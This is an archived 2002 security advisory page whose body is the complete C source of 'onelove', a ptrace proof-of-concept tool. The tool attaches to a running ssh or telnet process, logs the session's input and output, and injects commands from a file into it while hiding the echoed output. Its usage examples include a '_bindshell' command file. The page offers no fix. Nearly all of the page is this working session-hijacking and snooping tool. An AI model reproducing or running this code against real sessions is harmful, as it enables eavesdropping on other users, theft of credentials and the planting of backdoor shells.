TUCoPS :: Linux :: General :: lnx5735.htm

Using Ptrace raw I/O to snoop and inject in ssh/telnet sessions
7th Oct 2002 [SBWID-5735]
COMMAND

	Using Ptrace raw I/O to snoop and inject in ssh/telnet sessions

SYSTEMS AFFECTED

	Linux all ?

PROBLEM

	

	/*

	 *

	 * $Id: onelove.c,v 0.4 2002/10/03 2:10:27 xenion Exp $

	 *

	 * ---------------------------------------------------------------------------

	 * No part of this project may be used to break the law, or to cause damage of

	 * any kind. And I'm not responsible for anything you do with it.

	 * ---------------------------------------------------------------------------

	 * "THE BEER-WARE LICENSE" (by Poul-Henning Kamp, Revision 42):

	 * <xenion@acidlife.com> wrote this file.  As long as you retain this notice

	 * you can do whatever you want with this stuff. If we meet some day, and you

	 * think this stuff is worth it, you can buy me a beer in return.

	 * xenion ~ Dallachiesa Michele

	 * ---------------------------------------------------------------------------

	 *

	 * This is proof of concept code demostrating how we can inject commands 

	 * on a ptraced telnet/ssh session.

	 *

	 * ---------------------------------------------------------------------------

	 *

	 *

	 * EXAMPLES

	 *

	 * ./onelove -p2418 -0 -c _boxinfo -l l0g -+ -e

	 * 

	 *      attach pid 2418, 

	 *      enable ssh fd(s), 

	 *      use _boxinfo for commands, 

	 *      log to file,

	 *      log to stdout (without -l ignored), 

	 *      enable echo hiding.

	 * 

	 * ./onelove -p3953 -1 -c _bindshell -e

	 * 

	 *      attach pid 3953,

	 *      enable telnet fd(s),

	 *      use _bindshell for commands,

	 *      enable echo hiding.

	 *

	 *

	 * LENGTH OF read(2) BUFFERS, MIGHT HELP SOMETIMES:

	 *

	 * ssh   : 16384 

	 * telnet: 8192 

	 * BitchX: 2048 

	 *

	 *

	 * GREETZ

	 *

	 * Dark-Angel, my friends.. you know who you are.

	 *

	 */

	

	

	#include <stdlib.h>

	#include <string.h>

	#include <stdarg.h>

	#include <unistd.h>

	#include <stdio.h>

	#include <sys/ptrace.h>

	#include <sys/types.h>

	#include <sys/wait.h>

	#include <linux/user.h>

	#include <signal.h>

	#include <asm/unistd.h>

	#include <dirent.h>

	#include <errno.h>

	#include <limits.h>

	#include <time.h>

	#include <sys/stat.h>

	

	

	#define WORD_SIZE 4

	#define BUFLEN 4096

	#define CMDLEN 4096

	#define VERSION "0.4"

	

	/*

	 * PTRACE states 

	 */

	#define PTRACE_NOT_ATTACHED 0	/* not yet attached */

	#define PTRACE_STOP1        1	/* first stop */

	#define PTRACE_STOP2        2	/* second stop */

	#define PTRACE_DONE         3	/* we've finished our work */

	

	/*

	 * INJECT states 

	 */

	#define INJECT_NOTH       0	/* nothing to do, just do nothing */

	#define INJECT_TODO       1	/* we've to inject our commands */

	#define INJECT_HIDE       2	/* now we've to hide the output */

	

	/*

	 * ssh/telnet fd(s) 

	 */

	#define READ_FD_SSH     4

	#define WRITE_FD_SSH    5

	#define READ_FD_TELNET  0

	#define WRITE_FD_TELNET 1

	

	#define LOG(arg...) {          \

	   fprintf(o.log, "## ");      \

	   fprintf(o.log, ## arg);     \

	   fflush(o.log);              \

	   if(o.stdout) {              \

	     fprintf(stdout, "## ");   \

	     fprintf(stdout, ## arg);  \

	     fflush(stdout);           \

	     }                         \

	   }

	

	#define LOG_WRITE(arg...) {    \

	   fwrite(## arg, o.log);      \

	   fflush(o.log);              \

	   if(o.stdout) {              \

	     fwrite(## arg, stdout);   \

	     fflush(stdout);           \

	     }                         \

	   }

	

	

	// 'x' viene approssimato per eccesso ad un multiplo di 'y'

	#define COUNT_OK(x, y) (##x % ##y != 0 ? ##x+(##y - (##x % ##y)) : ##x)

	

	// 'x' viene approssimato per difetto ad un multiplo di 'y'

	#define LEN_OK(x, y) (##x-(##x % ##y))

	

	#define IS_SYSCALL_AND_FD(x) \

	   (data.orig_eax == __NR_##x && data.ebx == o.fd_##x)

	

	#define SIG_NAME(x) x == SIGURG  ? "SIGURG"  : \

	                    x == SIGPIPE ? "SIGPIPE" : \

	                    x == SIGQUIT ? "SIGQUIT" : \

	                    x == SIGINT  ? "SIGINT"  : \

	                    x == SIGTERM ? "SIGTERM" : \

	                    x == SIGHUP  ? "SIGHUP"  : \

	                    x == SIGSEGV ? "SIGSEGV" : \

	                    x == SIGBUS  ? "SIGBUS"  : "UNKNOWN"

	

	#define FD_SSH_OR_TELNET o.fd_read == READ_FD_SSH ?       \

	                         (o.fd_write == WRITE_FD_SSH ?    \

	                         "(ssh)" : "") :                  \

	                         o.fd_read == READ_FD_TELNET ?    \

	                         (o.fd_write == WRITE_FD_TELNET ? \

	                         "(telnet)" : "") : ""

	

	

	void            fatal(char *, ...);

	void            init_opt(int, char **);

	void            help();

	void            sigdie(int);

	int             memread(pid_t, unsigned char *, unsigned char *, long,

				long);

	int             memwrite(pid_t, unsigned char *, unsigned char *, long,

				 long);

	int             dataonstdin();

	unsigned char  *memem(unsigned char *, unsigned char *, size_t, size_t);

	

	

	typedef struct {

	    pid_t           pid;

	    int             status,

	                    mode,

	                    inject,

	                    echo,

	                    cmdlen,

	                    fd_read,

	                    fd_write,

	                    stdout;

	    unsigned char   cmd[CMDLEN];

	    FILE           *log;

	} OPT;

	

	

	OPT             o;

	

	

	int

	main(int argc, char **argv)

	{

	    struct user_regs_struct data;

	    unsigned char   buf[BUFLEN];

	    int             z;

	    long            edx_write_backup;

	

	    o.mode = PTRACE_NOT_ATTACHED;

	

	    init_opt(argc, argv);

	

	    LOG("pid         : %d\n", getpid());

	    LOG("ptraced pid : %d\n", o.pid);

	    LOG("echo        : %s\n", o.echo ? "YES" : "NO");

	    LOG("fds         : r:%d,w:%d %s\n", o.fd_read, o.fd_write,

		FD_SSH_OR_TELNET);

	    LOG("\n");

	

	    signal(SIGTERM, sigdie);

	    signal(SIGINT, sigdie);

	    signal(SIGQUIT, sigdie);

	    signal(SIGHUP, sigdie);

	    signal(SIGSEGV, sigdie);

	    signal(SIGURG, SIG_IGN);

	

	    if (ptrace(PTRACE_ATTACH, o.pid, 0, 0) < 0)

		fatal("ptrace(PTRACE_ATTACH, ...) failed");

	

	    LOG("Attached! Now I'll display the session I/O. When you're\n");

	    LOG("sure the user can run commands, press ENTER and wait.\n");

	    LOG("\n");

	

	    o.mode = PTRACE_STOP1;

	    o.inject = INJECT_NOTH;

	

	    wait(NULL);

	

	    while (o.mode != PTRACE_DONE) {

	

		if (ptrace(PTRACE_SYSCALL, o.pid, 0, 0) < 0)

		    fatal("ptrace(PTRACE_SYSCALL ...) failed");

	

		wait(&o.status);

	

		if (WSTOPSIG(o.status) != SIGTRAP) {

		    LOG("Sending signal %d\n", WSTOPSIG(o.status));

		    ptrace(PTRACE_SYSCALL, o.pid, 0, WSTOPSIG(o.status));

		}

	

		if (ptrace(PTRACE_GETREGS, o.pid, 0, &data) < 0)

		    fatal("ptrace(PTRACE_GETREGS ...) failed");

	

		switch (o.mode) {

	

		case PTRACE_STOP1:

	

		    if (o.inject == INJECT_HIDE && IS_SYSCALL_AND_FD(write)) {

			z = memread(o.pid, buf, (unsigned char *) data.ecx,

				    data.edx, sizeof buf);

	

			edx_write_backup = data.edx;

			data.edx = 0;

	

			if (ptrace(PTRACE_SETREGS, o.pid, 0, &data) < 0)

			    fatal("ptrace(PTRACE_SETREGS ...) failed");

	

			if (z < 0) {

			    LOG("\n*** WARNING(0): memread() failed (%ld bytes to read) ***\n", edx_write_backup);

			} else

			    LOG_WRITE(buf, 1, data.edx);

		    }

	

		    o.mode = PTRACE_STOP2;

		    break;

	

		case PTRACE_STOP2:

	

		    if (dataonstdin()) {

			read(0, buf, sizeof buf);

	

			if (*buf == 'q')

			    fatal("Aborted");

	

			if (o.inject == INJECT_NOTH) {

			    o.inject = INJECT_TODO;

			    LOG("\n");

			    LOG("I'll wait for a read(2) buffer ending with \\r or \\n,\n");

			    LOG("where I'll inject the commands..\n");

			    LOG("\n");

			}

	

			if (o.inject == INJECT_HIDE) {

			    LOG("Done, exiting..\n");

			    o.inject = INJECT_NOTH;

			    o.mode = PTRACE_DONE;

			    LOG("\n");

			    LOG("Done.\n");

			    break;

			}

		    }

	

		    if (o.inject == INJECT_HIDE && IS_SYSCALL_AND_FD(write)) {

			/*

			 * restoring the count of bytes to send 

			 */

			data.eax = edx_write_backup;

			if (ptrace(PTRACE_SETREGS, o.pid, 0, &data) < 0)

			    fatal("ptrace(PTRACE_SETREGS ...) failed");

		    }

	

		    if (IS_SYSCALL_AND_FD(write) || IS_SYSCALL_AND_FD(read)) {

			z = memread(o.pid, buf, (unsigned char *) data.ecx,

				    data.eax, sizeof buf);

	

			if (z < 0) {

			    LOG("\n*** WARNING(1): memread() failed (%ld bytes to read) ***\n", data.eax);

			    o.mode = PTRACE_STOP1;

			    break;

			}

	

			LOG_WRITE(buf, 1, data.eax);

	

			if (o.inject == INJECT_TODO && IS_SYSCALL_AND_FD(read)) {

	

			    if (buf[data.eax - 1] == '\r'

				|| buf[data.eax - 1] == '\n') {

	

				LOG("Injecting commands\n");

	

				z = memwrite(o.pid,

					     (unsigned char *) (data.ecx +

								data.eax), o.cmd,

					     o.cmdlen, sizeof o.cmd);

				if (z < 0)

				    fatal("memwrite( ...) failed");

	

				data.eax += o.cmdlen;

	

				if (ptrace(PTRACE_SETREGS, o.pid, 0, &data) < 0)

				    fatal("ptrace(PTRACE_SETREGS ...) failed");

	

				if (!o.echo) {

				    LOG("Done.\n");

				    o.mode = PTRACE_DONE;

				    break;

				} else {

				    o.inject = INJECT_HIDE;

				    LOG("Done.\n");

				    LOG("I'll hide all write(2)s untill you press ENTER\n");

				    LOG("\n");

	

				}

			    }

			}

		    }

	

		    o.mode = PTRACE_STOP1;

		    break;

	

		default:

		    fatal("Oops");

		    break;

		}

	    }

	

	    LOG("Detaching process\n");

	    if (ptrace(PTRACE_DETACH, o.pid, 0, 0) < 0) {

		LOG("ptrace(PTRACE_DETACH ...) failed\n");

	    } else

		LOG("Ok, you're safe this time ;)\n\n");

	    return 0;

	}

	

	

	void

	init_opt(int argc, char **argv)

	{

	    int             c;

	    FILE           *f;

	

	    o.echo = 0;

	    o.pid = 0;

	    o.fd_read = o.fd_write = -1;

	    o.cmdlen = -1;

	    o.log = stdout;

	    o.stdout = 0;

	

	    while ((c = getopt(argc, argv, "p:r:w:01c:l:+eh")) != EOF)

		switch (c) {

	

		case 'p':

		    o.pid = atoi(optarg);

		    break;

	

		case 'r':

		    o.fd_read = atoi(optarg);

		    break;

	

		case 'w':

		    o.fd_write = atoi(optarg);

		    break;

	

		case '0':

		    o.fd_read = READ_FD_SSH;

		    o.fd_write = WRITE_FD_SSH;

		    break;

	

		case '1':

		    o.fd_read = READ_FD_TELNET;

		    o.fd_write = WRITE_FD_TELNET;

		    break;

	

		case 'l':

		    o.log = fopen(optarg, "a+");

		    if (o.log == NULL)

			fatal("unable to open log file");

		    break;

	

		case '+':

		    o.stdout = 1;

		    break;

	

		case 'c':

		    f = fopen(optarg, "r");

		    if (f == NULL)

			fatal("unable to open cmd file");

		    o.cmdlen = fread(o.cmd, 1, sizeof o.cmd, f);

		    if (o.cmdlen == sizeof o.cmd || o.cmdlen == 0)

			fatal("cmdfile broken");

		    fclose(f);

		    break;

	

		case 'e':

		    o.echo = 1;

		    break;

	

		case 'h':

		    help();

		    break;

	

		default:

		    fatal("try -h");

		}

	

	    if (o.pid == 0)

		fatal("pid needed");

	

	    if (o.fd_read == -1 || o.fd_write == -1)

		fatal("r/w fd(s) needed");

	

	    switch (o.cmdlen) {

	    case -1:

		fatal("cmd file needed");

	    case 0:

		fatal("cmd file broken");

	    }

	

	    if (o.log == stdout)

		o.stdout = 0;

	

	}

	

	

	void

	fatal(char *pattern, ...)

	{

	    va_list         ap;

	

	    va_start(ap, pattern);

	    fprintf(o.log, "** ");

	    vfprintf(o.log, pattern, ap);

	    fprintf(o.log, "; exit forced.\n");

	    va_end(ap);

	

	    if (o.pid == 0) {

		fclose(o.log);

		exit(1);

	    }

	

	    sigdie(SIGTERM);

	}

	

	

	

	void

	help()

	{

	    printf

		("onelove v%s by xenion - Injects commands on a ptraced telnet/ssh session\n\n",

		 VERSION);

	    printf("USAGE: onelove [options]\n\n");

	    printf("-p pid                              (ssh|telnet) pid\n");

	    printf

		("-0                                  default fd(s) for ssh (r:%d,w:%d)\n",

		 READ_FD_SSH, WRITE_FD_SSH);

	    printf

		("-1                                  default fd(s) for telnet (r:%d,w:%d)\n",

		 READ_FD_TELNET, WRITE_FD_TELNET);

	    printf("-r fd                               read(2) fd\n");

	    printf("-w fd                               write(2) fd\n");

	    printf("-c file                             cmdfile\n");

	    printf("-l file                             logfile\n");

	    printf

		("-+                                  log to stdout (without -l ignored)\n");

	    printf("-e                                  enable echo hiding\n\n");

	

	    exit(0);

	}

	

	

	void

	sigdie(int signo)

	{

	    int             pid;

	

	    LOG("caught %s signal (%d), cleaning up\n", SIG_NAME(signo), signo);

	

	    if (o.mode != PTRACE_NOT_ATTACHED) {

	

		switch (pid = fork()) {

	

		case -1:

		    fatal("fork()");

		    break;

	

		case 0:		/* child process starts */

		    LOG("Sending a SIGCONT signal to the ptraced process\n");

		    if (kill(o.pid, SIGCONT) < 0) {

			o.pid = 0;

			fatal("kill()");

		    }

		    break;

	

		default:		/* parent process starts */

		    wait(&o.status);

		    if (ptrace(PTRACE_DETACH, o.pid, 0, 0) < 0)

			LOG("ptrace(PTRACE_DETACH ...) failed\n");

		    LOG("exited: %s\n", strerror(errno));

		    break;

	

		}

	

	    }

	

	    fclose(o.log);

	    exit(0);

	}

	

	

	int

	memread(pid_t pid, unsigned char *dest, unsigned char *src, long count,

		long len)

	{

	    long            off;

	    long            res;

	

	    if (count < 0 || len < 0)

		return (-1);

	

	    count = COUNT_OK(count, WORD_SIZE);

	    len = LEN_OK(len, WORD_SIZE);

	

	    if (len < count)

		return -1;

	

	    for (off = 0; off < count; off += WORD_SIZE) {

		res = ptrace(PTRACE_PEEKTEXT, pid, src + off, 0);

		if (errno > 0)

		    return -1;

		else

		    memcpy(dest + off, &res, WORD_SIZE);

	    }

	

	    return count;

	}

	

	

	int

	memwrite(pid_t pid, unsigned char *dest, unsigned char *src, long count,

		 long len)

	{

	    long            off;

	    long            res;

	

	    if (count < 0 || len < 0)

		return (-1);

	

	    count = COUNT_OK(count, WORD_SIZE);

	    len = LEN_OK(len, WORD_SIZE);

	

	    if (len < count)

		return -1;

	

	    for (off = 0; off < count; off += WORD_SIZE) {

		memcpy(&res, src + off, WORD_SIZE);

		if (ptrace(PTRACE_POKETEXT, pid, dest + off, res) < 0)

		    return -1;

	    }

	

	    return count;

	}

	

	

	int

	dataonstdin()

	{

	    fd_set          rfds;

	    struct timeval  tv;

	    int             retval;

	

	    FD_ZERO(&rfds);

	    FD_SET(0, &rfds);

	    tv.tv_sec = tv.tv_usec = 0;

	

	    retval = select(1, &rfds, NULL, NULL, &tv);

	

	    if (retval)

		return 1;

	    else

		return 0;

	}

	

	unsigned char  *

	memem(unsigned char *buf0, unsigned char *buf1, size_t len0, size_t len1)

	{

	    size_t          i,

	                    j;

	    int             found;

	

	    if (len1 > len0)

		return NULL;

	

	    for (i = 0; i < len0; ++i) {

		if (buf0[i] == buf1[0]) {

		    found = 1;

		    for (j = 1; j + i < len0 && j < len1; ++j)

			if (buf0[i + j] != buf1[j])

			    found = 0;

		    if (found)

			return &buf0[i];

		}

	    }

	

	    return (NULL);

	}

	

	/*

	 * EOF

	 */

	

SOLUTION

	?

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH